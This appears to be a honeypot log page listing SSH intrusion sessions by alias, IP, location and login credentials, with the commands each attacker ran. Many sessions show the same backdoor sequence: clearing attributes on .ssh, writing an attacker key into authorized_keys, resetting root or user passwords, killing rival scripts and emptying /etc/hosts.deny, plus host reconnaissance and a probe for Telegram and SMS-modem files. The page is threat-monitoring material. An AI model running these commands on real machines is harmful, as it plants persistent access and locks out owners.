cd ~; chattr -ia .ssh → rm -rf .ssh → mkdir .ssh → echo "ssh-rsa..." → cat /proc/cpuinfo | grep name | wc -l → echo "root:VtRCmXjDDuIX"|chpasswd|bash → rm -rf /tmp/secure.sh; rm -rf /tmp/auth.sh; pkill -9

$ cd ~; chattr -ia .ssh; lockr -ia .ssh

↳ file attribute tampering

$ cd ~ && rm -rf .ssh && mkdir .ssh && echo "ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~

↳ SSH key persistence

$ cat /proc/cpuinfo | grep name | wc -l

↳ CPU profiling

$ echo "root:VtRCmXjDDuIX"|chpasswd|bash

$ rm -rf /tmp/secure.sh; rm -rf /tmp/auth.sh; pkill -9 secure.sh; pkill -9 auth.sh; echo > /etc/hosts.deny; pkill -9 sleep;

↳ execute from /tmp

$ cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'

↳ CPU profiling

$ free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'

$ ls -lh $(which ls)

$ which ls

$ crontab -l

↳ persistence setup

$ w

↳ logged-in users check

$ uname -m

$ cat /proc/cpuinfo | grep model | grep name | wc -l

↳ CPU profiling

$ top

↳ process monitoring

$ uname

↳ OS identification

$ uname -a

↳ OS/kernel identification

$ whoami

↳ privilege check

$ lscpu | grep Model

$ df -h | head -n 2 | awk 'FNR == 2 {print $2;}'

🎭 rusty_sensei_root (92.113.142.203) — Tokyo, Japan · 1 session · 19 cmds

2026-05-21 02:16 EDT · as root/toor

file attribute tampering → SSH key persistence → CPU profiling → execute from /tmp → persistence setup

$ cd ~; chattr -ia .ssh; lockr -ia .ssh

↳ file attribute tampering

$ cd ~ && rm -rf .ssh && mkdir .ssh && echo "ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~

↳ SSH key persistence

$ cat /proc/cpuinfo | grep name | wc -l

↳ CPU profiling

$ echo "root:qBVdF3AhBEJm"|chpasswd|bash

$ rm -rf /tmp/secure.sh; rm -rf /tmp/auth.sh; pkill -9 secure.sh; pkill -9 auth.sh; echo > /etc/hosts.deny; pkill -9 sleep;

↳ execute from /tmp

$ cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'

↳ CPU profiling

$ free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'

$ ls -lh $(which ls)

$ which ls

$ crontab -l

↳ persistence setup

$ w

↳ logged-in users check

$ uname -m

$ cat /proc/cpuinfo | grep model | grep name | wc -l

↳ CPU profiling

$ top

↳ process monitoring

$ uname

↳ OS identification

$ uname -a

↳ OS/kernel identification

$ whoami

↳ privilege check

$ lscpu | grep Model

$ df -h | head -n 2 | awk 'FNR == 2 {print $2;}'

🎭 brazen_junk_root (101.36.122.139) — Hong Kong, Hong Kong · 1 session · 20 cmds

2026-05-21 01:17 EDT · as test/123456

file attribute tampering → SSH key persistence → CPU profiling

$ cd ~; chattr -ia .ssh; lockr -ia .ssh

↳ file attribute tampering

$ cd ~ && rm -rf .ssh && mkdir .ssh && echo "ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~

↳ SSH key persistence

$ cat /proc/cpuinfo | grep name | wc -l

↳ CPU profiling

$ echo -e "123456\nEzQQAeLVTd1c\nEzQQAeLVTd1c"|passwd|bash

$ Enter new UNIX password:

$ echo "123456\nEzQQAeLVTd1c\nEzQQAeLVTd1c\n"|passwd

$ cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'

↳ CPU profiling

$ free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'

$ ls -lh $(which ls)

$ which ls

$ crontab -l

↳ persistence setup

$ w

↳ logged-in users check

$ uname -m

$ cat /proc/cpuinfo | grep model | grep name | wc -l

↳ CPU profiling

$ top

↳ process monitoring

$ uname

↳ OS identification

$ uname -a

↳ OS/kernel identification

$ whoami

↳ privilege check

$ lscpu | grep Model

$ df -h | head -n 2 | awk 'FNR == 2 {print $2;}'

🎭 haywire_liberty_root_83 (204.10.161.83) — Kansas City, United States · 1 session · 20 cmds

2026-05-21 00:59 EDT · as test/123456

file attribute tampering → SSH key persistence → CPU profiling

$ cd ~; chattr -ia .ssh; lockr -ia .ssh

↳ file attribute tampering

$ cd ~ && rm -rf .ssh && mkdir .ssh && echo "ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~

↳ SSH key persistence

$ cat /proc/cpuinfo | grep name | wc -l

↳ CPU profiling

$ echo -e "123456\nwebxnEirMIeL\nwebxnEirMIeL"|passwd|bash

$ Enter new UNIX password:

$ echo "123456\nwebxnEirMIeL\nwebxnEirMIeL\n"|passwd

$ cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'

↳ CPU profiling

$ free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'

$ ls -lh $(which ls)

$ which ls

$ crontab -l

↳ persistence setup

$ w

↳ logged-in users check

$ uname -m

$ cat /proc/cpuinfo | grep model | grep name | wc -l

↳ CPU profiling

$ top

↳ process monitoring

$ uname

↳ OS identification

$ uname -a

↳ OS/kernel identification

$ whoami

↳ privilege check

$ lscpu | grep Model

$ df -h | head -n 2 | awk 'FNR == 2 {print $2;}'

🎭 nocturnal_scone_root (45.89.63.39) — Coventry, United Kingdom · 2 sessions · 39 cmds

2026-05-20 23:39 EDT · as guest/guest, root/password

file attribute tampering → SSH key persistence → CPU profiling → execute from /tmp → persistence setup

$ cd ~; chattr -ia .ssh; lockr -ia .ssh ×2

↳ file attribute tampering

$ cd ~ && rm -rf .ssh && mkdir .ssh && echo "ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~ ×2

↳ SSH key persistence

$ cat /proc/cpuinfo | grep name | wc -l ×2

↳ CPU profiling

$ echo "root:DR3KIH7XvGLc"|chpasswd|bash

$ rm -rf /tmp/secure.sh; rm -rf /tmp/auth.sh; pkill -9 secure.sh; pkill -9 auth.sh; echo > /etc/hosts.deny; pkill -9 sleep;

↳ execute from /tmp

$ cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}' ×2

↳ CPU profiling

$ free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}' ×2

$ ls -lh $(which ls) ×2

$ which ls ×2

$ crontab -l ×2

↳ persistence setup

$ w ×2

↳ logged-in users check

$ uname -m ×2

$ cat /proc/cpuinfo | grep model | grep name | wc -l ×2

↳ CPU profiling

$ top ×2

↳ process monitoring

$ uname ×2

↳ OS identification

$ uname -a ×2

↳ OS/kernel identification

$ whoami ×2

↳ privilege check

$ lscpu | grep Model ×2

$ df -h | head -n 2 | awk 'FNR == 2 {print $2;}' ×2

$ echo -e "guest\nQWTsqU8mxXla\nQWTsqU8mxXla"|passwd|bash

$ Enter new UNIX password:

$ echo "guest\nQWTsqU8mxXla\nQWTsqU8mxXla\n"|passwd

🎭 zealous_hawker_root (15.235.140.136) — Singapore, Singapore · 2 sessions · 39 cmds

2026-05-20 23:34 EDT · as guest/guest, root/password

file attribute tampering → SSH key persistence → CPU profiling → execute from /tmp → persistence setup

$ cd ~; chattr -ia .ssh; lockr -ia .ssh ×2

↳ file attribute tampering

$ cd ~ && rm -rf .ssh && mkdir .ssh && echo "ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~ ×2

↳ SSH key persistence

$ cat /proc/cpuinfo | grep name | wc -l ×2

↳ CPU profiling

$ echo "root:0Bt1PbS6knZ9"|chpasswd|bash

$ rm -rf /tmp/secure.sh; rm -rf /tmp/auth.sh; pkill -9 secure.sh; pkill -9 auth.sh; echo > /etc/hosts.deny; pkill -9 sleep;

↳ execute from /tmp

$ cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}' ×2

↳ CPU profiling

$ free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}' ×2

$ ls -lh $(which ls) ×2

$ which ls ×2

$ crontab -l ×2

↳ persistence setup

$ w ×2

↳ logged-in users check

$ uname -m ×2

$ cat /proc/cpuinfo | grep model | grep name | wc -l ×2

↳ CPU profiling

$ top ×2

↳ process monitoring

$ uname ×2

↳ OS identification

$ uname -a ×2

↳ OS/kernel identification

$ whoami ×2

↳ privilege check

$ lscpu | grep Model ×2

$ df -h | head -n 2 | awk 'FNR == 2 {print $2;}' ×2

$ echo -e "guest\nvFEhuAIdPihJ\nvFEhuAIdPihJ"|passwd|bash

$ Enter new UNIX password:

$ echo "guest\nvFEhuAIdPihJ\nvFEhuAIdPihJ\n"|passwd

🎭 sneaky_bibimbap_root (58.226.230.112) — Buk-gu, South Korea · 1 session · 9 cmds

2026-05-20 23:19 EDT · as root/root

network mapping → OS/kernel identification → CPU profiling

$ /ip cloud print

$ ifconfig

↳ network mapping

$ uname -a

↳ OS/kernel identification

$ cat /proc/cpuinfo

↳ CPU profiling

$ ps | grep '[Mm]iner'

$ ps -ef | grep '[Mm]iner'

$ ls -la ~/.local/share/TelegramDesktop/tdata /home/*/.local/share/TelegramDesktop/tdata /dev/ttyGSM* /dev/ttyUSB-mod* /var/spool/sms/* /var/log/smsd.log /etc/smsd.conf* /usr/bin/qmuxd /var/qmux_connect_socket /etc/config/simman /dev/modem* /var/config/sms/*

$ locate D877F783D5D3EF8Cs

$ echo Hi | cat -n

🎭 hollow_hawker_db (47.84.12.247) — Singapore, Singapore · 1 session · 1 cmd

2026-05-20 22:31 EDT · as oracle/oracle123

Ran uname 1x across 1 sessions — automated OS fingerprinting.

$ uname -a

↳ OS/kernel identification

🎭 aloof_merlion_root (207.46.224.89) — Singapore, Singapore · 19 sessions · 19 cmds

2026-05-20 15:49 EDT · as root/1234, root/123456, root/12345678

history snooping → OS/kernel identification → privilege check → hostname discovery

$ mount | head -5

$ history | tail -5

↳ history snooping

$ uname -a ×6

↳ OS/kernel identification

$ ps aux | head -10 ×2

$ netstat -tulpn | head -10

$ whoami ×3

↳ privilege check

$ pwd ×2

$ ls -la /

$ ssh -V

$ hostname

↳ hostname discovery

🎭 grumpy_hanbok_root_62 (211.37.174.62) — Seongnam-si, South Korea · 1 session · 2 cmds

2026-05-20 20:15 EDT · as oracle/password

file attribute tampering → SSH key persistence

$ cd ~; chattr -ia .ssh; lockr -ia .ssh

↳ file attribute tampering

$ cd ~ && rm -rf .ssh && mkdir .ssh && echo "ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~

↳ SSH key persistence

🎭 stoic_harbor_root (61.92.58.210) — Kwai Chung, Hong Kong · 1 session · 9 cmds

2026-05-20 19:55 EDT · as root/root

network mapping → OS/kernel identification → CPU profiling

$ /ip cloud print

$ ifconfig

↳ network mapping

$ uname -a

↳ OS/kernel identification

$ cat /proc/cpuinfo

↳ CPU profiling

$ ps | grep '[Mm]iner'

$ ps -ef | grep '[Mm]iner'

$ ls -la ~/.local/share/TelegramDesktop/tdata /home/*/.local/share/TelegramDesktop/tdata /dev/ttyGSM* /dev/ttyUSB-mod* /var/spool/sms/* /var/log/smsd.log /etc/smsd.conf* /usr/bin/qmuxd /var/qmux_connect_socket /etc/config/simman /dev/modem* /var/config/sms/*

$ locate D877F783D5D3EF8Cs

$ echo Hi | cat -n

🎭 lurking_burger_root_186 (74.208.97.186) — Kansas City, United States · 1 session · 2 cmds

2026-05-20 19:43 EDT · as oracle/123456

file attribute tampering → SSH key persistence

$ cd ~; chattr -ia .ssh; lockr -ia .ssh

↳ file attribute tampering

$ cd ~ && rm -rf .ssh && mkdir .ssh && echo "ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~

↳ SSH key persistence

🎭 jittery_star_root (47.252.87.74) — Charlottesville, United States · 2 sessions · 2 cmds

2026-05-18 15:09 EDT · as admin/admin, test/123456

Ran uname 2x across 2 sessions — automated OS fingerprinting.

$ uname -a ×2

↳ OS/kernel identification

🎭 weary_wok_root_27 (39.105.217.27) — Beijing, China · 1 session · 1 cmd

2026-05-20 18:21 EDT · as admin/admin

Ran uname 1x across 1 sessions — automated OS fingerprinting.

$ uname -a

↳ OS/kernel identification

🎭 sullen_crumpet_root (35.189.106.162) — London, United Kingdom · 1 session · 1 cmd

2026-05-20 17:34 EDT · as root/root

Ran uname 1x across 1 sessions — automated OS fingerprinting.

$ uname -a

↳ OS/kernel identification

🎭 sullen_bike_root (193.32.162.151) — Amsterdam, The Netherlands · 100 sessions · 100 cmds

2026-05-09 02:57 EDT · as admin/admin, admin/admin123, admin/password

Ran uname 79x across 79 sessions — automated OS fingerprinting.

$ /bin/./uname -s -v -n -r -m ×100

↳ obfuscated system check

🎭 molten_sultan_root (185.103.202.198) — Beyoğlu, Turkey · 1 session · 2 cmds

2026-05-20 15:14 EDT · as oracle/Welcome1

file attribute tampering → SSH key persistence

$ cd ~; chattr -ia .ssh; lockr -ia .ssh

↳ file attribute tampering

$ cd ~ && rm -rf .ssh && mkdir .ssh && echo "ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~

↳ SSH key persistence

🎭 haywire_pho_root (14.224.213.222) — Hanoi, Vietnam · 1 session · 20 cmds

2026-05-20 15:13 EDT · as ubuntu/password

file attribute tampering → SSH key persistence → CPU profiling

$ cd ~; chattr -ia .ssh; lockr -ia .ssh

↳ file attribute tampering

$ cd ~ && rm -rf .ssh && mkdir .ssh && echo "ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~

↳ SSH key persistence

$ cat /proc/cpuinfo | grep name | wc -l

↳ CPU profiling

$ echo -e "password\nG6u6Y66qztVF\nG6u6Y66qztVF"|passwd|bash

$ Enter new UNIX password:

$ echo "password\nG6u6Y66qztVF\nG6u6Y66qztVF\n"|passwd

$ cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'

↳ CPU profiling

$ free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'

$ ls -lh $(which ls)

$ which ls

$ crontab -l

↳ persistence setup

$ w

↳ logged-in users check

$ uname -m

$ cat /proc/cpuinfo | grep model | grep name | wc -l

↳ CPU profiling

$ top

↳ process monitoring

$ uname

↳ OS identification

$ uname -a

↳ OS/kernel identification

$ whoami

↳ privilege check

$ lscpu | grep Model

$ df -h | head -n 2 | awk 'FNR == 2 {print $2;}'

🎭 grumpy_sundarban_root (103.148.213.74) — Bogra, Bangladesh · 1 session · 1 cmd

2026-05-20 14:31 EDT · as root/123456

ssh

$ ssh -V

🎭 vapor_dragon_root (101.237.36.193) — Yangpu, China · 1 session · 1 cmd

2026-05-20 14:06 EDT · as root/password

Ran uname 1x across 1 sessions — automated OS fingerprinting.

$ uname -s -m

🎭 wired_liberty_root_2 (167.99.117.2) — Clifton, United States · 1 session · 19 cmds

2026-05-20 13:14 EDT · as root/admin

file attribute tampering → SSH key persistence → CPU profiling → execute from /tmp → persistence setup

$ cd ~; chattr -ia .ssh; lockr -ia .ssh

↳ file attribute tampering

$ cd ~ && rm -rf .ssh && mkdir .ssh && echo "ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~

↳ SSH key persistence

$ cat /proc/cpuinfo | grep name | wc -l

↳ CPU profiling

$ echo "root:K6xDuN1CuFMl"|chpasswd|bash

$ rm -rf /tmp/secure.sh; rm -rf /tmp/auth.sh; pkill -9 secure.sh; pkill -9 auth.sh; echo > /etc/hosts.deny; pkill -9 sleep;

↳ execute from /tmp

$ cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'

↳ CPU profiling

$ free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'

$ ls -lh $(which ls)

$ which ls

$ crontab -l

↳ persistence setup

$ w

↳ logged-in users check

$ uname -m

$ cat /proc/cpuinfo | grep model | grep name | wc -l

↳ CPU profiling

$ top

↳ process monitoring

$ uname

↳ OS identification

$ uname -a

↳ OS/kernel identification

$ whoami

↳ privilege check

$ lscpu | grep Model

$ df -h | head -n 2 | awk 'FNR == 2 {print $2;}'

🎭 gnarled_harbor_root (47.76.172.229) — Hong Kong, Hong Kong · 1 session · 1 cmd

2026-05-20 13:08 EDT · as admin/admin

Ran uname 1x across 1 sessions — automated OS fingerprinting.

$ uname -a

↳ OS/kernel identification

🎭 glitchy_sphinx_root (196.202.42.237) — Ash-Shaykh Zāyid, Egypt · 1 session · 1 cmd

2026-05-20 12:09 EDT · as root/password

hostname discovery

$ hostname

↳ hostname discovery

🎭 cryptic_burger_root (103.219.170.37) — Los Angeles, United States · 1 session · 1 cmd

2026-05-20 11:04 EDT · as root/admin

CPU profiling

$ echo "TEST"; echo -n "System :"; lsb_release -d | awk -F':' '{print " "$2}'; echo -n "Apt : "; which apt; echo -n "Cpu speed :"; cat /proc/cpuinfo | grep 'cpu MHz' | uniq | awk -F: '{printf " %.3f\n", $2}'; echo -n "Cpu count : "; nproc; echo -n "Memory : "; free -h | awk '/Mem:/ {print $2}'

↳ CPU profiling

🎭 manic_durian_sol (203.121.40.210) — Cheras, Malaysia · 1 session · 20 cmds

2026-05-20 09:23 EDT · as user/password

file attribute tampering → SSH key persistence → CPU profiling

$ cd ~; chattr -ia .ssh; lockr -ia .ssh

↳ file attribute tampering

$ cd ~ && rm -rf .ssh && mkdir .ssh && echo "ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~

↳ SSH key persistence

$ cat /proc/cpuinfo | grep name | wc -l

↳ CPU profiling

$ echo -e "password\nPlbrlaMc5XMG\nPlbrlaMc5XMG"|passwd|bash

$ Enter new UNIX password:

$ echo "password\nPlbrlaMc5XMG\nPlbrlaMc5XMG\n"|passwd

$ cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'

↳ CPU profiling

$ free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'

$ ls -lh $(which ls)

$ which ls

$ crontab -l

↳ persistence setup

$ w

↳ logged-in users check

$ uname -m

$ cat /proc/cpuinfo | grep model | grep name | wc -l

↳ CPU profiling

$ top

↳ process monitoring

$ uname

↳ OS identification

$ uname -a

↳ OS/kernel identification

$ whoami

↳ privilege check

$ lscpu | grep Model

$ df -h | head -n 2 | awk 'FNR == 2 {print $2;}'

🎭 cryptic_panda_root (117.72.196.220) — Chaowai, China · 1 session · 1 cmd

2026-05-20 05:46 EDT · as tomcat/tomcat

Ran uname 1x across 1 sessions — automated OS fingerprinting.

$ uname -s -v -n -r -m

🎭 lurking_wok (39.97.253.71) — Beijing, China · 2 sessions · 2 cmds

2026-05-07 20:53 EDT · as deploy/deploy, guest/guest

Ran uname 3x across 3 sessions — automated OS fingerprinting.

$ uname -a ×2

↳ OS/kernel identification

🎭 murky_harbor_root (47.239.88.210) — Hong Kong, Hong Kong · 2 sessions · 2 cmds

2026-05-17 18:51 EDT · as oracle/oracle, root/root

Ran uname 2x across 2 sessions — automated OS fingerprinting.

$ uname -a ×2

↳ OS/kernel identification

🎭 grumpy_panda_root_64 (182.43.22.64) — Jinan, China · 1 session · 1 cmd

2026-05-20 03:30 EDT · as root/123456

Ran uname 1x across 1 sessions — automated OS fingerprinting.

$ uname -s -m

🎭 vapor_durian_root (43.163.6.99) — Singapore, Singapore · 1 session · 19 cmds

2026-05-20 02:51 EDT · as root/1234

file attribute tampering → SSH key persistence → CPU profiling → execute from /tmp → persistence setup

$ cd ~; chattr -ia .ssh; lockr -ia .ssh

↳ file attribute tampering

$ cd ~ && rm -rf .ssh && mkdir .ssh && echo "ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~

↳ SSH key persistence

$ cat /proc/cpuinfo | grep name | wc -l

↳ CPU profiling

$ echo "root:KAA43816uyFm"|chpasswd|bash

$ rm -rf /tmp/secure.sh; rm -rf /tmp/auth.sh; pkill -9 secure.sh; pkill -9 auth.sh; echo > /etc/hosts.deny; pkill -9 sleep;

↳ execute from /tmp

$ cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'

↳ CPU profiling

$ free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'

$ ls -lh $(which ls)

$ which ls

$ crontab -l

↳ persistence setup

$ w

↳ logged-in users check

$ uname -m

$ cat /proc/cpuinfo | grep model | grep name | wc -l

↳ CPU profiling

